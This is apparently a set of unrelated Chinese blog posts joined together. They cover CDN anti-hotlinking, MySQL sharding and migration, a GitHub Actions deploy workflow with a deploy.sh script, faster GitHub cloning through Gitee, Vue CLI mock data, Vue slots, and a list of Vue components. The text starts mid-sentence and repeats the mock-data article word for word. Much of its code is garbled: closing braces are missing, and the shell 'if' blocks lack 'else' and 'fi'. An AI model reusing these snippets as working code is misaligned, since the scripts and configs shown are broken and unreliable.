wsSecret=79aead3bd7b5db4adeffb93a010298b5&wsTime=16010263121wsSecret :签名字符串。wsTime: 过期时间。时间戳防盗链的实现也比较简单,并且可靠性较高,推荐使用。并且,绝大部分 CDN 服务提供商都提供了开箱即用的时间戳防盗链机制。除了 Referer 防盗链和时间戳防盗链之外,你还可以 IP 黑白名单配置、IP 访问限频配置等机制来防盗刷。
读写分离主要应对的是数据库读并发,没有解决数据库存储问题。试想一下:如果 MySQL 一张表的数据量过大怎么办?换言之,我们该如何解决 MySQL 的存储压力呢?答案之一就是 分库分表。#何为分库?分库 就是将数据库中的数据分散到不同的数据库上。下面这些操作都涉及到了分库:你将数据库中的用户表和用户订单表分别放在两个不同的数据库。由于用户表数据量太大,你对用户表进行了水平切分,然后将切分后的 2 张用户表分别放在两个不同的数据库。#何为分表?分表 就是对单表的数据进行拆分,可以是垂直拆分,也可以是水平拆分。何为垂直拆分?简单来说,垂直拆分是对数据表列的拆分,把一张列比较多的表拆分为多张表。举个例子:我们可以将用户信息表中的一些列单独抽出来作为一个表。何为水平拆分?简单来说,水平拆分是对数据表行的拆分,把一张行比较多的表拆分为多张表。举个例子:我们可以将用户信息表拆分成多个用户信息表,这样就可以避免单一表数据量过大对性能造成影响。《从零开始学架构》open in new window 中的有一张图片对于垂直拆分和水平拆分的描述还挺直观的。什么情况下需要分库分表?遇到下面几种场景可以考虑分库分表:单表的数据达到千万级别以上,数据库读写速度比较缓慢(分表)。数据库中的数据占用的空间越来越大,备份时间越来越长(分库)。应用的并发量太大(分库)。分库分表会带来什么问题呢?记住,你在公司做的任何技术决策,不光是要考虑这个技术能不能满足我们的要求,是否适合当前业务场景,还要重点考虑其带来的成本。引入分库分表之后,会给系统带来什么挑战呢?join 操作 : 同一个数据库中的表分布在了不同的数据库中,导致无法使用 join 操作。这样就导致我们需要手动进行数据的封装,比如你在一个数据库中查询到一个数据之后,再根据这个数据去另外一个数据库中找对应的数据。事务问题 :同一个数据库中的表分布在了不同的数据库中,如果单个操作涉及到多个数据库,那么数据库自带的事务就无法满足我们的要求了。分布式 id :分库之后, 数据遍布在不同服务器上的数据库,数据库的自增主键已经没办法满足生成的主键唯一了。我们如何为不同的数据节点生成全局唯一主键呢?这个时候,我们就需要为我们的系统引入分布式 id 了。......另外,引入分库分表之后,一般需要 DBA 的参与,同时还需要更多的数据库服务器,这些都属于成本。分库分表有没有什么比较推荐的方案?ShardingSphere 项目(包括 Sharding-JDBC、Sharding-Proxy 和 Sharding-Sidecar)是当当捐入 Apache 的,目前主要由京东数科的一些巨佬维护。ShardingSphere 绝对可以说是当前分库分表的首选!ShardingSphere 的功能完善,除了支持读写分离和分库分表,还提供分布式事务、数据库治理等功能。另外,ShardingSphere 的生态体系完善,社区活跃,文档完善,更新和发布比较频繁。艿艿之前写了一篇分库分表的实战文章,各位朋友可以看看:《芋道 Spring Boot 分库分表入门》open in new window 分库分表后,数据怎么迁移呢?分库分表之后,我们如何将老库(单库单表)的数据迁移到新库(分库分表后的数据库系统)呢?比较简单同时也是非常常用的方案就是停机迁移,写个脚本老库的数据写到新库中。比如你在凌晨 2 点,系统使用的人数非常少的时候,挂一个公告说系统要维护升级预计 1 小时。然后,你写一个脚本将老库的数据都同步到新库中。如果你不想停机迁移数据的话,也可以考虑双写方案。双写方案是针对那种不能停机迁移的场景,实现起来要稍微麻烦一些。具体原理是这样的:我们对老库的更新操作(增删改),同时也要写入新库(双写)。如果操作的数据不存在于新库的话,需要插入到新库中。 这样就能保证,咱们新库里的数据是最新的。在迁移过程,双写只会让被更新操作过的老库中的数据同步到新库,我们还需要自己写脚本将老库中的数据和新库的数据做比对。如果新库中没有,那咱们就把数据插入到新库。如果新库有,旧库没有,就把新库对应的数据删除(冗余数据清理)。重复上一步的操作,直到老库和新库的数据一致为止。想要在项目中实施双写还是比较麻烦的,很容易会出现问题。我们可以借助上面提到的数据库同步工具 Canal 做增量数据迁移(还是依赖 binlog,开发和维护成本较低)。
前言我前面 vuepress搭建了一个静态博客,挂在了Github pages和Coding pages上面。coding pages在国内的访问速度比github pages要快很多,而且还可以被百度收录。一开始的部署方式是使用sh部署脚本把代码提交到这两个平台的仓库分支,虽然已经很方便了,但是我还想把博客未打包的源码提交到Github主分支上。这就需要我操作两次命令,我就想能不能只需要一次操作就可以同时把源码、部署代码一次性提交到两个平台呢?实现在了解GitHub Actions最近(2019.12)刚正式发布了之后,尝试使用它发现能够满足我的需求。GitHub Actions 入门教程首先,需要获取token,后面会用到。获取方法:github获取token官方文档、coding获取token官方文档。然后,将这两个token同时储存到github仓库的Settings/Secrets里面。变量名可以随便取,但是注意要和后面的ci.yml文件内的变量名一致,这里取的是ACCESS_TOKEN和CODING_TOKEN。GitHub Actions 的配置文件叫做 workflow 文件,存放在代码仓库的.github/workflows目录。workflow 文件采用 YAML 格式,文件名可以任意取,但是后缀名统一为.yml,比如ci.yml。一个库可以有多个 workflow 文件。GitHub 只要发现.github/workflows目录里面有.yml文件,就会自动运行该文件。我的ci.yml文件:name: CI # 在master分支发生push事件时触发。 push: branches: - master jobs: # 工作流 build: runs-on: ubuntu-latest #运行在虚拟机环境ubuntu-latest strategy: matrix: node-version: [10.x] steps: - name: Checkout # 步骤1 uses: actions/checkout@v1 # 使用的动作。格式:userName/repoName。作用:检出仓库,获取源码。 官方actions库:https://github.com/actions - name: Use Node.js ${{ matrix.node-version }} # 步骤2 uses: actions/setup-node@v1 # 作用:安装nodejs with: node-version: ${{ matrix.node-version }} # 版本 - name: run deploy.sh # 步骤3 (同时部署到github和coding) env: # 设置环境变量 GITHUB_TOKEN: ${{ secrets.ACCESS_TOKEN }} # toKen私密变量 CODING_TOKEN: ${{ secrets.CODING_TOKEN }} # 腾讯云开发者平台(coding)私密token run: npm install && npm run deploy # 执行的命令 # package.json 中添加 "deploy": "bash deploy.sh"这个配置文件会在我push提交代码到主分支时触发工作,运行环境是ubuntu-latest,工作步骤:一,获取仓库源码二,安装nodejs,打包项目有用到nodejs三,把token设置到环境变量,安装项目依赖,并运行deploy.sh文件,ACCESS_TOKE 和 CODING_TOKEN 都是保存在github仓库的Settings/Secrets位置的私密变量,仓库代码中可以通过<secrets.变量名>来获取,保证了token的私密性。再来看看将要被运行的deploy.sh部署代码:#!/usr/bin/env sh # 确保脚本抛出遇到的错误 set -e npm run build # 生成静态文件 cd docs/.vuepress/dist # 进入生成的文件夹 # deploy to github echo 'blog.xugaoyi.com' > CNAME if [ -z "$GITHUB_TOKEN" ]; then msg='deploy' githubUrl=git@github.com:xugaoyi/blog.git msg='来自github action的自动部署' githubUrl=https://xugaoyi:${GITHUB_TOKEN}@github.com/xugaoyi/blog.git git config --global user.name "xugaoyi" git config --global user.email "894072666@qq.com" git init git add -A git commit -m "${msg}" git push -f $githubUrl master:gh-pages # 推送到github # deploy to coding echo 'www.xugaoyi.com\nxugaoyi.com' > CNAME # 自定义域名 if [ -z "$CODING_TOKEN" ]; then # -z 字符串 长度为0则为true;$CODING_TOKEN来自于github仓库`Settings/Secrets`设置的私密环境变量 codingUrl=git@git.dev.tencent.com:xugaoyi/xugaoyi.git codingUrl=https://xugaoyi:${CODING_TOKEN}@git.dev.tencent.com/xugaoyi/xugaoyi.git git add -A git commit -m "${msg}" git push -f $codingUrl master # 推送到coding rm -rf docs/.vuepress/dist这个文件使用Shell命令写的,它会先运行打包命令,进入打包好的文件,创建一个自定义域名的CNAME文件(如果你没有自定义域名可去掉这个命令),判断是否有token环境变量,如果没有说明是在本地自己的电脑上运行的部署,使用ssh代码仓库地址,如果有token环境变量,说明是GitHub Actions自动触发的部署,此时使用的是可以通过toKen来获取代码提交权限的提交地址。最后通过git命令提交到各自的仓库,完成部署。提示:Shell 可以获取到环境变量。我想给两个平台上部署的博客不一样的自定义域名,因此做了分开创建CNAME文件,分开提交。至此,我前面提到的需求就实现啦,只需要把源码push到github仓库这一个步骤,后面的博客打包、部署到github和coding等工作都由GitHub Actions来自动完成。如下你想查看部署日志,你可以到github仓库的Actions这一项查看。相关文章《GitHub Actions 定时运行代码:每天定时百度链接推送》
国内在github上克隆项目总是异常的慢,据我多次克隆观察,下载速度最快就20k/s左右,特别是在克隆比较大的项目时简直慢得无法忍受!下面介绍一种加载克隆项目的方法。利用码云来转接做下载加速首先你得有一个 码云 的账号登录码云之后在页面右上角的加号选择从GitHub/GitLab导入项目选择从URL导入,粘贴从GitHub复制来的仓库地址,然后导入,这个导入过程一般是很快的。从码云克隆刚导入的这个项目,克隆速度会快很多,网速好的能达到几兆每秒(具体速度就看你的网速了,吐槽一下我家网速,总在关键时刻显示"视频加载中"....)另外要注意的一点,克隆下来的项目关联的是码云的仓库,如果你需要关联github仓库需要更改远程仓库。git remote -v # 查看关联的远程仓库 git remote rm <仓库名> # 删除远程仓库 git remote add <仓库名> <远程仓库地址> # 关联远程仓库,仓库名一般使用origin这个方法适合用于克隆比较大的项目,如果克隆小项目,20k/s的速度好像还能将就~~
本文是基于vue/cli 3.0创建的项目进行讲解首先我们来说一说vue/cli 3.0 与 2.0 的一些不同:3.0 移除了 static 文件目录,新增了 public 目录,这个目录下的静态资源不会经过 webpack 的处理,会被直接拷贝,所以我们能够直接访问到该目录下的资源,静态数据(如json数据、图片等)需要存放在这里。放在public目录下的静态资源可直接通过(http://localhost:8080/+ 文件名称)来访问,不需要在前面加一个/public路径3.0 移除了 config、build 等配置目录,如果需要进行相关配置我们需要在根目录下创建 vue.config.js 进行配置。方式一:使用mockjs插件实现本地mock数据安装mockjs插件npm i mockjs -D在src目录下创建一个mock文件夹,在mock文件夹下创建一个index.js和一个data文件夹(用于存放项目需要的模拟数据). ├── src │ ├── mock │ │ └── data │ │ │ └── test.json │ │ └── index.js . .mock目录下的index.js示例如下:const Mock = require('mockjs') // 格式: Mock.mock( url, 'post'|'get' , 返回的数据) Mock.mock('/api/test', 'get', require('./data/test.json')) Mock.mock('/api/test2', 'post', require('./data/test2.json'))在main.js入口文件中引入mock数据,不需要时,则注释掉require('./mock') // 引入mock数据,不需要时,则注释掉最后,在vue模板中使用即可axios.get('/api/test') .then(function(res){ console.log(res); .catch(function(err){ console.log(err); });方式二:在public文件夹放mock数据(无需使用mockjs插件)在public文件夹下创建一个mock文件夹,用来存放模拟数据的json文件. ├── public │ ├── mock │ │ └── test.json . .放在public目录下的静态资源可直接通过(http://localhost:8080/ + 文件名称)来访问,不需要在前面加一个/public路径。在vue.config.js里进行路径配置,如下:module.exports = { devServer: { proxy: { '/api': { // 代理接口 target: 'http://localhost:8080', ws: true, // proxy websockets changeOrigin: true, // 是否开启跨域 pathRewrite: { // 路径重写 '^/api': '/mock' }devServer.proxy官方文档最后,在vue模板中使用即可axios.get('/api/test.json') // 注意这里需要.json后缀 .then(function(res){ console.log(res); .catch(function(err){ console.log(err); });这方式貌似不支持post请求,有待研究。方式三:前端本地启动一个nodejs服务,vue项目向nodejs服务请求mock数据创建一个node项目(为了方便,本例直接在vue项目根目录创建,当然也可以是其它任何地方). ├── 项目根目录 │ └── serve.js . .serve.js示例const http = require('http') // url模块用于处理与解析 前端传给后台的URL,适用于get请求(不适用于post请求),详情参见文档 const urlLib = require('url') http.createServer(function (req, res) { const urlObj = urlLib.parse(req.url, true) // 注意:这里的第二个参数一定要设置为:true, query才能解析为对象形式,可以更加方便地获取key:value const url = urlObj.pathname const get = urlObj.query console.log(url) // 模拟的mock数据 const data = { "code": 200, "list": [ "id": '0001', "name": "test" "id": '0002', "name": "test2" // console.log(get.user) if (url === '/test') { // 接口名 res.write(JSON.stringify(data)) res.end() }).listen(9000)启动node服务node serve.js配置vue.config.js的proxy,解决跨域module.exports = { devServer: { proxy: { '/api': { target: 'http://localhost:9000', ws: true, // proxy websockets changeOrigin: true, // 是否开启跨域 pathRewrite: { // 路径重写 '^/api': '' }最后,在vue模板中使用即可axios.get('/api/test') .then(function(res){ console.log(res); .catch(function(err){ console.log(err); });总结方式二目前来看只支持get方式请求,对于post请求还有待研究。方式三虽然也是一种实现方式,但实现起来比较麻烦。个人建议使用方式一,灵活、方便。相关文章《Vue CLi3 修改webpack配置》
本文是基于vue/cli 3.0创建的项目进行讲解首先我们来说一说vue/cli 3.0 与 2.0 的一些不同:3.0 移除了 static 文件目录,新增了 public 目录,这个目录下的静态资源不会经过 webpack 的处理,会被直接拷贝,所以我们能够直接访问到该目录下的资源,静态数据(如json数据、图片等)需要存放在这里。放在public目录下的静态资源可直接通过(http://localhost:8080/+ 文件名称)来访问,不需要在前面加一个/public路径3.0 移除了 config、build 等配置目录,如果需要进行相关配置我们需要在根目录下创建 vue.config.js 进行配置。方式一:使用mockjs插件实现本地mock数据安装mockjs插件npm i mockjs -D在src目录下创建一个mock文件夹,在mock文件夹下创建一个index.js和一个data文件夹(用于存放项目需要的模拟数据). ├── src │ ├── mock │ │ └── data │ │ │ └── test.json │ │ └── index.js . .mock目录下的index.js示例如下:const Mock = require('mockjs') // 格式: Mock.mock( url, 'post'|'get' , 返回的数据) Mock.mock('/api/test', 'get', require('./data/test.json')) Mock.mock('/api/test2', 'post', require('./data/test2.json'))在main.js入口文件中引入mock数据,不需要时,则注释掉require('./mock') // 引入mock数据,不需要时,则注释掉最后,在vue模板中使用即可axios.get('/api/test') .then(function(res){ console.log(res); .catch(function(err){ console.log(err); });方式二:在public文件夹放mock数据(无需使用mockjs插件)在public文件夹下创建一个mock文件夹,用来存放模拟数据的json文件. ├── public │ ├── mock │ │ └── test.json . .放在public目录下的静态资源可直接通过(http://localhost:8080/ + 文件名称)来访问,不需要在前面加一个/public路径。在vue.config.js里进行路径配置,如下:module.exports = { devServer: { proxy: { '/api': { // 代理接口 target: 'http://localhost:8080', ws: true, // proxy websockets changeOrigin: true, // 是否开启跨域 pathRewrite: { // 路径重写 '^/api': '/mock' }devServer.proxy官方文档最后,在vue模板中使用即可axios.get('/api/test.json') // 注意这里需要.json后缀 .then(function(res){ console.log(res); .catch(function(err){ console.log(err); });这方式貌似不支持post请求,有待研究。方式三:前端本地启动一个nodejs服务,vue项目向nodejs服务请求mock数据创建一个node项目(为了方便,本例直接在vue项目根目录创建,当然也可以是其它任何地方). ├── 项目根目录 │ └── serve.js . .serve.js示例const http = require('http') // url模块用于处理与解析 前端传给后台的URL,适用于get请求(不适用于post请求),详情参见文档 const urlLib = require('url') http.createServer(function (req, res) { const urlObj = urlLib.parse(req.url, true) // 注意:这里的第二个参数一定要设置为:true, query才能解析为对象形式,可以更加方便地获取key:value const url = urlObj.pathname const get = urlObj.query console.log(url) // 模拟的mock数据 const data = { "code": 200, "list": [ "id": '0001', "name": "test" "id": '0002', "name": "test2" // console.log(get.user) if (url === '/test') { // 接口名 res.write(JSON.stringify(data)) res.end() }).listen(9000)启动node服务node serve.js配置vue.config.js的proxy,解决跨域module.exports = { devServer: { proxy: { '/api': { target: 'http://localhost:9000', ws: true, // proxy websockets changeOrigin: true, // 是否开启跨域 pathRewrite: { // 路径重写 '^/api': '' }最后,在vue模板中使用即可axios.get('/api/test') .then(function(res){ console.log(res); .catch(function(err){ console.log(err); });总结方式二目前来看只支持get方式请求,对于post请求还有待研究。方式三虽然也是一种实现方式,但实现起来比较麻烦。个人建议使用方式一,灵活、方便。相关文章《Vue CLi3 修改webpack配置》
通过ref引用调用子组件内的方法并传入参数父组件:<子组件标签 ref="refName"></子组件标签> methods: { fnX(x) { this.$refs.refName.fnY(x) // 调用子组件方法并传入值 }子组件:methods: { fnY(x) { this.x = x }插槽slotAPI插槽<div id="root"> <child> <!-- 组件标签 --> <h1>hello</h1> </child> </div> <script type="text/javascript"> Vue.component('child', { // 子组件 template: '<div><slot></slot></div>' var vm = new Vue({ el: '#root' </script>上面代码中,组件标签内的h1是要插入子组件内部的元素,子组件内使用slot标签接收父组件插入的h1标签。默认值Vue.component('child', { template: '<div><slot>默认值</slot></div>' })子组件slot标签内可以添加默认值,它只会在父组件没有传入内容的时候被渲染。具名插槽::: warning自 2.6.0 起有所更新。使用 slot attribute 的语法已废弃。:::<div id="root"> <child> <div slot="header">header</div> <!--旧语法 使用template标签或其他标签都可以--> <div slot="footer">footer</div> </child> </div> <script type="text/javascript"> Vue.component('child', { template: `<div> <slot name="header"></slot> <div>content</div> <slot name="footer"></slot> </div>` var vm = new Vue({ el: '#root' </script>上面代码中,组件标签内有两个元素,分别添加了slot属性赋予不同的值,子组件内分别有两个slot插槽,添加了对应的name属性,用于分别接收父组件传入的内容。::: tip自 2.6.0 起,使用v-slot指令代替slot attribute 的语法。:::<div id="root"> <child> <template v-slot:header> <!--新语法 只能使用template标签--> <h1>标题</h1> </template> <p>内容</p> <template v-slot:footer> <p>页脚</p> </template> </child> </div> <script type="text/javascript"> Vue.component('child', { template: `<div> <header> <slot name="header"></slot> </header> <main> <slot></slot> </main> <footer> <slot name="footer"></slot> </footer> </div>` var vm = new Vue({ el: '#root' </script>自2.6.0版本起,具名插槽由原来的slot标签属性改为v-slot指令,例v-slot:header。子组件内仍然是在slot插槽标签添加name属性用于分别接收内容。未具名的插槽接收未使用v-slot指定的内容。另外,具名插槽同样可以使用默认值。注意 v-slot 只能添加在 <template 上 (只有一种例外情况),这一点和已经废弃的 slotattribute不同。作用域插槽::: warning自 2.6.0 起有所更新。使用 slot-scope attribute 的语法已废弃。:::<div id="root"> <child> <template slot-scope="dataObj"> <!--可使用其他标签,但注意其他标签将会被带到插槽里面--> <li>{{dataObj.dataItem}}</li> </template> </child> </div> <script type="text/javascript"> Vue.component('child', { data(){ return { list: [1, 2, 3, 4] template: `<div> <ul> <slot v-for="item of list" :dataItem=item </slot> </ul> </div>` var vm = new Vue({ el: '#root' </script>上面代码中,组件标签内需要使用template标签并且设置slot-scope属性 用于接收子组件内传递的值,template标签内的li标签是传入插槽的元素,dataObj.dataItem数据由子组件内提供。子组件内通过v-for循环插入父组件提供的li标签,并且通过:dataItem=item把每个item数据传递出去。子组件提供数据,父组件中接收数据,可以对数据处理并插入到元素,然后把元素放入子组件插槽。作用:数据由子组件提供,但渲染什么元素由父组件决定,并且可以对数据做二次处理。:::tip自 2.6.0 起。使用v-slot代替 slot-scope attribute 的语法。:::为了让 user 在父级的插槽内容中可用,我们可以将 user 作为 <slot> 元素的一个 attribute 绑定上去:<span> <slot v-bind:user="user"> {{ user.lastName }} </slot> </span>绑定在 <slot> 元素上的 attribute 被称为插槽 prop。现在在父级作用域中,我们可以使用带值的 v-slot 来定义我们提供的插槽 prop 的名字:<current-user> <template v-slot:default="slotProps"> {{ slotProps.user.firstName }} </template> </current-user>在这个例子中,我们选择将包含所有插槽 prop 的对象命名为 slotProps,但你也可以使用任意你喜欢的名字。<div id="root"> <child> <template v-slot:default="dataObj"> <!--default是默认具名,可省略。但有多个插槽时不能省略。--> <li>{{dataObj.dataItem}}</li> </template> </child> </div> <script type="text/javascript"> Vue.component('child', { data(){ return { list: [1, 2, 3, 4] template: `<div> <ul> <slot v-for="item of list" :dataItem=item </slot> </ul> </div>` var vm = new Vue({ el: '#root' </script>具名插槽的缩写跟 v-on 和 v-bind 一样,v-slot 也有缩写,即把参数之前的所有内容 (v-slot:) 替换为字符 #。例如 v-slot:header 可以被重写为 #header:<base-layout> <template #header> <h1>Here might be a page title</h1> </template> <p>A paragraph for the main content.</p> <p>And another one.</p> <template #footer> <p>Here's some contact info</p> </template> </base-layout>然而,和其它指令一样,该缩写只在其有参数的时候才可用。这意味着以下语法是无效的:<!-- 这样会触发一个警告 --> <current-user #="{ user }"> {{ user.firstName }} </current-user>如果你希望使用缩写的话,你必须始终以明确插槽名取而代之:<current-user #default="{ user }"> {{ user.firstName }} </current-user>DemoSee the Pen 插槽slot by xugaoyi (@xugaoyi) on CodePen.
菜单vue-accordion-适用于 Vue.js 的简单手风琴导航菜单组件。vue-js-dropdown-Vue.js 2 下拉菜单组件。轻巧,易于使用和扩展,无外部缺陷。vue-slideout-流行的库[slideout]的 Vue 实现(https://github.com/Mango/slideout)vue-quick-menu-这是基于 vue.js2 的 Web 导航组件。@ hscmap / vue-menu-vue2 的菜单/上下文菜单组件。vue-router-nav-简约的响应式导航栏,呈现 vue-router 的路线。vue-drawer-layout-一个简单的 DrawerLayout 组件(例如 Android)具有 Vue.js。vue-simple-menu-具有一组基本功能的简单菜单组件,在 80%的情况下足够vue-tree-navigation-具有 vue-router 支持的 Vue.js 2 树导航bp-vuejs-dropdown-Vuejs => 2 下拉菜单。易于使用,无需外部,可选。vue-bulma-accordion-简单,易于配置的手风琴或具有 Bulma 自定义样式的可折叠样式或内置的可用图标v-selectmenu-针对 Vue2 的简单,容易和高度定制的菜单解决方案。vue-burger-menu-具有不同 CSS 动画的画布外边栏 Menu 组件。vue-dynamic-dropdown-一个高度可定制的,易于使用的优雅下拉组件vue-navigation-bar-适用于您的 Vue 项目的简单,漂亮的导航栏。vue-simple-search-dropdown-一个没有外部依赖关系的简单可搜索输入下拉组件@ innologica / vue-dropdown-menu-Vue 的下拉菜单组件。任何元素都可以是下拉触发器,任何内容都可以下拉内容。vue-menu-aim-菜单三角形选择,又名亚马逊输入minus-plus-input-带正负号的数字输入;包含在 Vue.js v1 和 v2 中。vue-integer-plusminus-带有 vue 2 增量和减量按钮的整数输入。vue-numeric-input-带有控件的数字输入组件。vue-number-smarty-数字输入可以在聚焦字段时更改滚动值。vuetify-number-smarty-数字输入可在字段聚焦时更改滚动值(Vuetify.js 实现)。轮播vue-easy-slider-Vue.js 的滑块组件。vue-l-carousel-Vue.js v2.x +的响应式轮播(即滑块或滑动)组件。vue-awesome-swiper-Vue.js(1.x〜2.x)的 Swiper(slide)组件。vue-lory-基于 lory 的 Vue 滑块组件。vue-slick-Slick-carousel 的 Vue 组件。vue-flickity-Flickity.js 的 Vue 组件。vue-carousel-3d-Vue Carousel 3D-Vue.js 美观,灵活且受触摸支持的 3D Carousel。vue-carousel-适用于 Vue.js 的灵活,响应迅速,触摸友好的轮播。vue-coverflow-vue2.x Coverflow 组件。vue-agile–受 Slick 启发的轮播组件,仅以 Vue.js 和 Vanilla JS 编写。vue-tiny-slider–由 ganlanyuan 创建的轮播组件,用 Vue.js 编写。没有 jQuery。适用于 IE8 +。vue2-text-swimlane-用于 Vue.js 的 Text Swimlane 插件vue-picture-swipe-Vue Picture Swipe Gallery(具有缩略图,延迟加载和轻扫的图像画廊)由 photowipe 支持。vue2-siema-非常小的 Siema 转盘/滑块库的插件包装。vue-flux-带有 20 个炫酷过渡的图片滑块。vue-glide- [Glide.js]上方的 Vue 滑块和轮播组件(https://github.com/glidejs/glide)vue-owl-carousel- [Owl Carousel 2]的 Vue 组件(https://owlcarousel2.github.io/OwlCarousel2/)vueper-slides-适用于 Vue JS 的易于触摸且响应迅速的幻灯片/轮播。vue-canvas-carousel- [vuc-carousel]的 Vue 画布组件(http://vuc.tianchenyong.top/#/carousel)胡珀-针对 Vue 优化的可自定义的可访问轮播滑块语言-Vue 的简单图像库组件,在下面显示带有缩略图的大图像vue-piece-slider-动画幻灯片的碎片化外观vue2-photo-carousel-Vue2 的照片轮播组件图表vue-morris-VueJS 组件包装了 Morris.js。vue-charts-适用于 Vue.js 的 Google Charts 插件。vue-chartjs-Chart.js 的 Vue.js 包装器。hchs-vue-charts-基于 ChartJs 的 Vue2.0 包装器。vue-echarts-Vue.js 的 ECharts 组件。vuetrend-Vue.js 的简洁优雅火花线。vue-highcharts-Vue 的 Highcharts 组件。vue-echarts-v3-ECharts.js(v3.x +)的 Vue.js(v2.x +)组件包装。vue-chartist-Chartist 的 Vue.js 2.0 组件包装。g2-vue-用于在 Vue 组件中轻松使用 G2 的工厂包装。vuebars-适用于 Vue.js 的简洁优雅的火花棒。vue-d3-network-使用 d3-force 绘制网络图形的 Vue 组件vue2vis- Visjs的 Vue2 包装器。vue-c3-用于 c3 图表的可重用 vue 组件vue-d2b-d2b 图表的 Vue 组件。(包括轴,饼图,sankey 和森伯斯特图)VueChart-一个非常简单的 Chart Vue 包装器。vue-chartkick-用一行 Vue 创建漂亮的 JavaScript 图表d3vue-用于在 VueJS 中创建反应性数据可视化的 D3 插件vue2-frappe-VueJS 的 Frappe Charts 的简单包装vue-google-charts-Google Charts lib 的反应性 Vue.js 包装器vue-graph-数据可视化库,用于 Vue.js 中的仪表板实现vue.d3.sunburst-基于 D3.js 的反应性旭日形组件v-chart-plugin-一个可定制的组件,用于添加绑定到组件数据的 D3 图表。vue-jqxchart-具有饼图,气泡,甜甜圈,线,条,栏,面积,瀑布,极地和蜘蛛系列的制图组件。toast-ui.vue-chart- [TOAST UI 图表]的 Vue 包装器(http://ui.toast.com/tui -图表/)。vue-apexcharts- [ApexCharts]的 Vue.js 组件(https://github.com/apexcharts/apexcharts.js)。vue-doughnut-chart-Vue.js 的甜甜圈图组件。v-charts-基于 Vue2.x 和 Echarts 的图表组件。vue-css-donut-chart-用于绘制纯 CSS 甜甜圈图的轻量级 Vue 组件。vue-trend-chart-Vue.js 的简单趋势图vueplotlib-声明性,交互式,链接的绘图组件vgauge-GaugeJS 的 Vue 包装器-创建漂亮的量规vue-plotly- plotly.js声明性图表库的包装,随附 20 图表类型,包括 3D 图表,统计图和 SVG 地图。vue-funnel-graph-js-Vue.js 的漏斗图绘制库。创建垂直和水平动画 SVG 漏斗图,并添加标签,值,图例和其他信息。pure-vue-chart-在没有任何图表库相关性的情况下实现的轻量级 vue 图表时间vue-timeago-Vue 的一个很小的 timeago 组件。vue-moment-jalaali-针对您的 Vue.js 项目的 Jalaali Moment.js 过滤器。vue-countdown-timer-添加了时区转换支持。vue-analog-clock-range-显示时差的模拟时钟范围。vue-moment-lib-使用相同的 momentjs API 的简单 Vue.js 2.0 MomentJS 库(过滤器和全局变量)。vuejs-countdown-适用于 vue js 2.0 的简单倒数计时器组件vue2-flip-countdown-Vue 2.x 具有倒转效果的倒数计时器timeline-vuejs-Vue 的简约时间表vue-awesome-countdown-Vue 2.5.0+具有高性能和高精度的倒计时插件。官方网站:https://vac.js.orgvue-clock2-显示 Vue 的时钟组件。vuemodoro-Pomodoro 计时器作为单个文件 Vue 组件。日历vue-fullcalendar-Vue 日历 fullCalendar。无需 jQuery。安排事件管理。vue-event-calendar-Vue2 的简单事件日历,除 Vue2 外没有其他依赖项。vue-calendar-picker-用于事件显示,时段选择和日期选择器的轻量级日历组件。vue-lunar-calendar-农历的 vue 组件。使用 Moment.js 进行日期操作。vue-simple-calendar-基于 Flexbox 的 Vue 月历功能;支持多日活动,本地化,节日表情符号,拖放。没有依赖关系。vue2-calendar-一个简单的完整日历组件,旨在灵活而轻巧。vue-jlunar-datepicker-具有节日和节气的中国农历日期选择器组件。vue-full-calendar-Vue 1 和 2 的完整fullcalendar.io包装器v-calendar-动画日历/日期选择器,显示简单和重复日期的区域,指标和日弹出窗口。vue-infinite-calendar-Vue 2 的简单无限日历实现vue-calendar-适用于 Vue 2.1.5+的简单日历组件,支持自定义内容。没有依赖关系。vue2-event-calendar-Vue2 的事件日历,支持自定义事件项和日历标题。vue2-datePicker-infinite-Vue2 的无限 datePicker,易于使用且没有依赖性。vue2-slot-calendar-vue 2 日历,支持月球或日期事件的日期选择器组件,引导程序样式。quasar-calendar-使用 Quasar 框架的 vue.js 日历,可实现每月,多天和议程视图。vue2-datepicker-Vue2 的漂亮 datepicker / datetimepicker 组件vue-pikaday- Pikadaydatepicker 的 VueJS 包装器组件vue-tuicalendar- tui.calendar日历的 VueJS 包装器组件vue-jqxscheduler-VueJS Scheduler 组件。toast-ui.vue-calendar- [TOAST UI 日历]的 Vue 包装器(http://ui.toast.com/tui -日历)。vue-functional-calendar-基于 Vue 的轻量级高性能日历组件(日期选择器,日期范围)。vue-cal-Vue JS 完整日历,无依赖项,无 BS。🤘。vue-draggableCal-不是普通的日期选择器。一个 Vuejs 可拖动的日期选择器,具有全新的响应式设计,可移动使用且具有 0 个依赖项,已压缩 17kbvue-material-year-calendar-Vue2 的全年(每页 12 个月)日历。使用 dayjs。vuelendar-用 VueJS 编写的简洁日历地图vue2-google-maps-Google Maps 组件,用于带有 2 向数据绑定的 vue。vue2-leaflet-传单地图的 Vue 2 组件。vue-mapbox-gl-Mapbox GL JS 的 Vue 2.x 组件vue-yandex-maps-Yandex Maps 的 Vue 2.x 组件vue-baidu-map-百度地图的 Vue 2.x 组件。vue-choropleth-Vue 2.x 组件,用于显示一个 Choropleth 贴图。vuelayers-Vue 2 组件可与 OpenLayers 一起使用。vue-googlemaps-Vue 2.x 组件,用于集成 Google Maps。vue-static-map-Vue 2.x 简单组件,可生成静态 Google 地图vue-mapbox-Mapbox GL JS 库周围的 Vue 2.x 包装器,提供了与地图交互的途径。音频视频Vue-APlayer-:cake:用于 Vue 2.x 的易于配置的音乐播放器。vue-audio-音频标签包装器;Vue 2.x 的声音播放器组件vue-dplayer-基于 DPlayer 的 Vue 2.x 视频播放器组件。vue-canvasvideo-一个 Vue 2.x 组件,用于在 iOS / Safari 上播放视频背景和自动播放视频。vue-music-基于 html5``的 Vue 组件。vue-audio-visual-Vue HTML5 音频可视化组件。vue-plyr-一组用于 plyr 视频和音频播放器的 Vue 组件。v-playback-一个 Vue2 插件,可简化视频播放。vue-audio-recorder-Vue.js 的音频记录器。它允许在服务器上创建,播放,下载和存储记录vue-video-section-Vue 的简单视频标头/部分组件。适用于视频背景并在其上叠加内容。无限滚动vue-infinite-loading-适用于 Vue.js 1.0 和 Vue.js 2.0 的无限滚动插件。vue-mugen-scroll-Vue.js 的无限滚动组件 2。vue-infinite-scroll-vue.js 的无限滚动指令。vue-loop-Vue.js 2 的无限内容循环组件。vue-scroller-Vue.js 2 的无限内容循环组件,包括诸如“拉动刷新”,“无限加载”之类的功能,'snaping-scroll'。vue-infinite-list-无限列表 mixin 可以为 Vue.js 2 回收 domvue-infinite-slide-bar-∞ 